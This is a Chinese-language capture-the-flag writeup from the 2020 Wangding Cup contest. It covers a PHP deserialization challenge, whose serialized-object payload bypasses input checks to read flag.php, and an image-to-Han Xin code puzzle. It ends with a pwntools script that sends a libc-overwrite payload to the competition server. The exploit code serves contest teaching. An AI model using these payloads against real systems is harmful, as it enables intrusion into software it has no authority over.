2020年第二屆“網鼎杯”網絡安全大賽青龍組writeup

writeup由做出題的相應隊友給出，我只綜合了一下

0x00 簽到題

操作內容

選出游戲中的每個隊伍，之后輸入token

輸入token得到flag.php。

flag

0x01 Web1-AreUSerialz

操作內容

簡單pop鏈構造：op=2的時候，去讓read()中的file_get_contents執行。

兩個bypass：

is_valid會判斷傳入的字符串是否為可打印字符.而原類修飾均為protected會生成%00`.

php7對類的修飾不敏感，直接把屬性修飾為public，可以正常序列化並繞過is_valid：
__destruct()會在反序列化的時候把op置為1，且對op的判斷為強類型比較，但process中對op為弱類型比較，直接令op=2即可繞過（2==“2”）

發現出不了flag。嘗試將對象個數改為原類應有的屬性的值（3），即可。

<?php

class FileHandler {
    public $op = 2 ;
    public $filename = "flag.php";
}
$a = new FileHandler();
echo urlencode(serialize($a));
//2變3
//?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

flag

0x02 虛幻2

操作內容

文件是PNG頭，修改文件后綴為png，該文件像素為12*36

#對該文件的RGB進行識別

#255 記為1 0記為0

from PIL import Image 
#import sys
#im = Image.open(sys.argv[1])  
im = Image.open('file.png')
width = im.size[0]  
height = im.size[1]  

temp = ''
#豎着識別
for w in range(width):
    for h in range(height):
        pixel = im.getpixel((w, h))
        temp += '1' if pixel[0] == 255 else '0'
        temp += '1' if pixel[1] == 255 else '0'
        temp += '1' if pixel[2] == 255 else '0'
print(temp)

運行代碼得到

111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100000001111001000000001100000001111101111111110011000010011111111101111101000001111111001001001100000101111101011111110101011000000111110101111101010001110101001001110100010101111101010001101101010101111100010101111101010001011001011101111100010101111111111111010101010000110111111111111111111111111101010110011000100111111110010011100101001111111011011011111110000010101111010101100011111001111101010111101001000000110000111111111101110010110011001100110000001111111111111111111111001110111110000111111100000000000000000001101101110101111100010110110111101001111000010111111100010101111010010001100101001011111101010101011001000110001101110001111101111010011110111010000111100001111100101001111000000010001011010001111100100100001101100001000010011101111100010110001101011110100110111001111111001000111011001000101111111111111111111111010001010000010111111111111101010001110000111111111100010101111101010001101111111111111100010101111101010001010100111111111100010101111101011111011111111111111111110101111101000001101001111111111100000101111101111111111111111111111111111101111100000001100111111111111100000001111111111111111111111111111111111111111111111111111111111111111111111111

弄成36*36的漢信碼，並旋轉，反色：

#incoding:utf-8
from PIL import Image

str = "111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111100101101101101101101111111110110101101111100100100101101100100100111111101101101101101101100111111111111111000111000011010010010111111010000010110111000010010010111101100010001111010010010011000111000111111111111111001111001111001001001111111011010111010111000110101101010001100110000111001001001111001111001111111111111111111110111110110101011010111100101101110111000110111011011111001001111010110101010011101111100111111111111111001011111101101101001101101101111001011111000111010001110000101101011001000111100111001111111111111111111111000000001011001010011010010001010000001001000101010000111000100011001010111111111111111111111111111111111111000010001000001101101000110111101000100110001001001110010010001110000000111111111111111111111111111111111111001011001000110111111110011111100110110111101111100001000001000100101010111111111111111111111111111111111111100111100111100100100111000011011000000110101000101101111011010110111111100100100111100111100111111111111111000111000110010010010111100011111111001000110010001110100010011111111111010010010110000111000111111111111111001101101101101101101111111011001111111111101111011001001001101001111111101101101101101101001111111"
length_str = len(str)
print (length_str)
MAX = int(len(str)**0.5) #根據01的個數生成黑白二維碼的 size
print (MAX)

pic = Image.new("RGB",(MAX,MAX))

i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(str[i] == '1'):
            pic.putpixel([x,y],(0,0,0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1

pic.show()
pic.save("flag.png")

由於缺一塊並不能識別，因此需要進行修補，修補比較暴力，看運氣

用PS慢慢嘗試吧

flag

0x03 Pwn1-Boom1

操作內容

本地不好打通，得用合適的libc版本。該題的腳本如下，執行並輸入token即可得到flag。

'''
payload：
char *a, *b,*p;
int main()
{
a = "";
b = a - leak;//0x7F8FE6E5C028 - 0x7F8FE6933000
a= b + 6225992;
a[0] = 0;
a = b + 6229832;
p = 0xCD0F3 + b;
a[0] = (p)&0xFF;a[1] = (p>>8)&0xFF;a[2] = (p>>16)&0xFF;
}
'''


from pwn import *
p = remote('182.92.73.10',24573)
payload = "char *a, *b,*p;int main(){a = "";b = a - 5410856;a= b + 6225992;a[0] = 0;a = b + 6229832;p = 0xCD0F3 + b;a[0] = (p)&0xFF;a[1] = (p>>8)&0xFF;a[2] = (p>>16)&0xFF;}"
p.sendline(payload)
p.interactive()